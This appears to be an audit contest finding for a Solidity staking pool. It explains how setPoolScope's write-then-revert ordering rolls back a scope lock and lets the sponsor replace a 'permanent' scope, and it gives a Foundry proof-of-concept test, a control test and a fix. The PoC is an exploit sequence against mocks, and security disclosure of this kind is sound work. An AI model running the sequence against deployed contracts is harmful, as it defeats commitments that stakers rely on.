FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

`setPoolScope` write-then-revert rolls back the scope lock, letting the sponsor mutate the DESIGN §8 "permanent" post-staging scope

Author Revealed upon completion

Description

  • DESIGN §8 promises a pool's scope "locks permanently on the first interaction observing any [non-staging] state." _observePoolState() is the routine that enforces this: it sets scopeLocked = true for any registry state past pre-attack staging, and every committing entrypoint (stake, funded withdraw, contributeBonus, pokeRiskWindow) calls it and then completes, durably persisting the lock so scope can never be replaced again.

  • setPoolScope calls _observePoolState() (which writes scopeLocked = true) and then, one line later, reverts on that very flag. Because both happen in one atomic frame, the EVM rollback erases the lock write — so setPoolScope observes a post-staging state yet never commits the lock. When no other, committing observer ran while the agreement was past staging, and the trusted registry moderator legitimately rejects the attack request back to NOT_DEPLOYED (rejectAttackRequest, no pool callback), scopeLocked is still false and the sponsor can replace the committed scope wholesale — the mutation §8 says is permanently forbidden.

// src/ConfidencePool.sol:636-641
function setPoolScope(address[] calldata accounts) external onlyOwner {
// aderyn-ignore-next-line(unchecked-return)
@> _observePoolState(); // writes scopeLocked = true (past staging)
@> if (scopeLocked) revert ScopePostLockImmutable(); // reverts on that write -> rolls it back
_replaceScope(accounts);
}
// src/ConfidencePool.sol:786-792 — the write that gets rolled back
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true; // never persisted from setPoolScope's frame
emit ScopeLocked(block.timestamp);
}

Risk

Likelihood:

  • When the agreement moves past staging (e.g. into ATTACK_REQUESTED) and no committing observer (stake / funded withdraw / contributeBonus / pokeRiskWindow) runs during that window — none of them is mandatory between the registry entering ATTACK_REQUESTED and its rejection — so the lock is never persisted.

  • When the trusted registry moderator legitimately rejects the request (rejectAttackRequest, valid from ATTACK_REQUESTED), deleting the record so getAgreementState reports NOT_DEPLOYED again with no callback into the pool.

  • When the pool owner/sponsor (the onlyOwner on setPoolScope) then calls setPoolScope in that window. The sponsor cannot force the rejection but can wait for it. Trust-model note: the triggering transition is in-model (an accurate, moderator-authorized registry lifecycle step), not the out-of-model false-state repoint DESIGN §11 excludes — so §11 does not cover this away, but the harm is integrity-only, so this is honestly Low / borderline-Informational.

Impact:

  • The committed scope is mutated after the agreement already entered ATTACK_REQUESTED — in the PoC from [ACCOUNT_A] to [ACCOUNT_B], wholesale — exactly the change DESIGN §8 declares permanently forbidden once past staging. A documented "permanent" public commitment is defeated, and the outcome moderator's on-chain "binding audit trail" no longer matches what stakers signed up for at deposit time.

  • No direct loss of funds: scope is read only by getScopeAccounts (:644-646) and _replaceScope itself; no claim, sweep, flag, bounty, or payout path consults isAccountInScope / _scopeAccounts. The damage is limited to the integrity of the immutable-scope commitment and the moderator's off-chain evidence base.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice F-01 PoC: the "permanent" post-staging scope lock (DESIGN §8) is defeated by the
/// write-then-revert ordering in `setPoolScope`.
///
/// `setPoolScope` calls `_observePoolState()` (which sets `scopeLocked = true` on any state past
/// pre-attack staging) and THEN reverts `ScopePostLockImmutable` when it reads that freshly-written
/// flag. Because both happen in one atomic frame, the EVM rollback erases the lock. If the trusted
/// registry then legitimately rejects the attack request back to `NOT_DEPLOYED` (no pool callback),
/// the sponsor can call `setPoolScope` again and mutate the committed scope — despite the agreement
/// having already moved into `ATTACK_REQUESTED`.
///
/// Root cause is isolated by the control test: the lock persists ONLY when a *committing* observer
/// (e.g. a `stake`, which is allowed in `ATTACK_REQUESTED`) runs. `setPoolScope`, the owner's own
/// path, cannot serve as that observer because it reverts. No committing call is mandatory between
/// request and rejection, so the "permanent" lock is not guaranteed.
contract F01ScopeLockRollbackTest is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant ONE = 1e18;
uint256 internal constant STAKE_AMOUNT = 100e18;
// Two distinct BattleChain accounts, both valid Agreement members.
address internal constant ACCOUNT_A = address(0xA11CE0000A);
address internal constant ACCOUNT_B = address(0xB0B0000B0B);
address internal trustedSetup = makeAddr("trusted setup");
address internal trustedRegistryModerator = makeAddr("trusted registry moderator");
address internal outcomeModerator = makeAddr("outcome moderator");
address internal recovery = makeAddr("recovery");
address internal poolOwner = makeAddr("pool owner / sponsor");
address internal alice = makeAddr("alice staker");
MockERC20 internal token;
MockAttackRegistry internal registry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
function setUp() external {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
registry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(trustedSetup);
// Trusted protocol staging only (not attacker powers): both accounts are Agreement-valid,
// the live pointer is set, the agreement is registered, and staging starts NOT_DEPLOYED.
vm.startPrank(trustedSetup);
agreement.setContractInScope(ACCOUNT_A, true);
agreement.setContractInScope(ACCOUNT_B, true);
safeHarborRegistry.setAttackRegistry(address(registry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
registry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
vm.stopPrank();
pool = ConfidencePool(Clones.clone(address(new ConfidencePool())));
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
outcomeModerator,
BASE_TIMESTAMP + 31 days,
ONE,
recovery,
poolOwner,
_scope(ACCOUNT_A)
);
_label();
// Committed scope is exactly [A].
assertTrue(pool.isAccountInScope(ACCOUNT_A), "initial scope contains A");
assertFalse(pool.isAccountInScope(ACCOUNT_B), "initial scope excludes B");
assertFalse(pool.scopeLocked(), "scope not locked pre-staging");
}
/// @dev EXPLOIT: no committing observer runs during ATTACK_REQUESTED, so the lock never
/// persists and the sponsor mutates the committed scope after the agreement left staging.
function test_ScopeLock_Bypassed_WhenNoCommittingObserver() external {
// 1) Agreement legitimately enters ATTACK_REQUESTED (trusted registry lifecycle).
_setRegistryState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
// 2) Sponsor tries to replace scope. `_observePoolState` writes scopeLocked=true, then the
// setter reverts on that same flag — rolling the lock back to false.
vm.prank(poolOwner);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(_scope(ACCOUNT_B));
assertFalse(pool.scopeLocked(), "BUG: post-staging observation did NOT persist the lock");
assertTrue(pool.isAccountInScope(ACCOUNT_A), "scope still [A] after reverted call");
assertFalse(pool.isAccountInScope(ACCOUNT_B), "B not yet in scope");
// 3) The trusted registry moderator legitimately rejects the request; state rewinds to
// NOT_DEPLOYED with no callback into the pool.
_setRegistryState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// 4) Sponsor calls setPoolScope again. scopeLocked is (still) false, so the scope is
// replaced wholesale — AFTER the agreement already moved past pre-attack staging.
vm.prank(poolOwner);
pool.setPoolScope(_scope(ACCOUNT_B));
assertFalse(pool.isAccountInScope(ACCOUNT_A), "EXPLOIT: A removed from committed scope");
assertTrue(pool.isAccountInScope(ACCOUNT_B), "EXPLOIT: B installed post-staging");
address[] memory scopeNow = pool.getScopeAccounts();
assertEq(scopeNow.length, 1, "scope replaced wholesale");
assertEq(scopeNow[0], ACCOUNT_B, "committed scope is now [B], not the locked [A]");
console2.log("EXPLOIT: committed scope mutated from A to B after ATTACK_REQUESTED");
}
/// @dev CONTROL: a `stake` during ATTACK_REQUESTED is a *committing* observer, so scopeLocked
/// persists and the identical second-call sequence is blocked. This isolates the root cause to
/// the reverting setter, not to the registry rewind itself.
function test_ScopeLock_Held_WhenStakeObservesAttackRequested() external {
_setRegistryState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
// A staker deposits while ATTACK_REQUESTED (deposits are allowed in this state). This call
// commits — it does NOT revert — so `_observePoolState` durably sets scopeLocked=true.
token.mint(alice, STAKE_AMOUNT);
vm.startPrank(alice);
token.approve(address(pool), STAKE_AMOUNT);
pool.stake(STAKE_AMOUNT);
vm.stopPrank();
assertTrue(pool.scopeLocked(), "committing observer persisted the scope lock");
// Even after the trusted registry rewinds to NOT_DEPLOYED, the persisted lock holds.
_setRegistryState(IAttackRegistry.ContractState.NOT_DEPLOYED);
vm.prank(poolOwner);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(_scope(ACCOUNT_B));
assertTrue(pool.isAccountInScope(ACCOUNT_A), "CONTROL: scope stays [A] once lock persisted");
assertFalse(pool.isAccountInScope(ACCOUNT_B), "CONTROL: B rejected");
console2.log("CONTROL: persisted lock blocks the post-staging scope replacement");
}
function _scope(address account) internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = account;
}
function _setRegistryState(IAttackRegistry.ContractState state) internal {
vm.prank(trustedRegistryModerator);
registry.setAgreementState(state);
}
function _label() internal {
vm.label(address(this), "PoC Harness");
vm.label(trustedSetup, "Trusted Setup");
vm.label(trustedRegistryModerator, "Trusted Registry Moderator");
vm.label(outcomeModerator, "Outcome Moderator");
vm.label(recovery, "Recovery Address");
vm.label(poolOwner, "Pool Owner / Sponsor");
vm.label(alice, "Alice Staker");
vm.label(ACCOUNT_A, "Scope Account A");
vm.label(ACCOUNT_B, "Scope Account B");
vm.label(address(token), "Mock Stake Token");
vm.label(address(registry), "Attack Registry");
vm.label(address(safeHarborRegistry), "Safe Harbor Registry");
vm.label(address(agreement), "Mock Agreement");
vm.label(address(pool), "ConfidencePool Clone");
}
}

Recommended Mitigation

Persist the "ever observed past staging" fact through a non-reverting path so the lock write cannot be rolled back by the same frame that reads it. A durable high-water mark set by any committing observer, gating the setter, is the robust fix:

function setPoolScope(address[] calldata accounts) external onlyOwner {
- // aderyn-ignore-next-line(unchecked-return)
- _observePoolState();
- if (scopeLocked) revert ScopePostLockImmutable();
+ // Fast-fail on the durable flag first; never enter a frame that both writes and reverts the lock.
+ if (scopeLocked) revert ScopePostLockImmutable();
+ // Observe without letting a fresh lock be undone by this same transaction: read state,
+ // and if it is past staging, refuse instead of writing-then-reverting.
+ IAttackRegistry.ContractState state = _getAgreementState();
+ if (
+ state != IAttackRegistry.ContractState.NOT_DEPLOYED
+ && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
+ ) revert ScopePostLockImmutable();
_replaceScope(accounts);
}

Additionally, have _observePoolState seal a durable everPastStaging flag (set by any committing entrypoint or a permissionless pokeRiskWindow-style observer) and gate setPoolScope on that, so the lock survives even without an intervening committing call.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!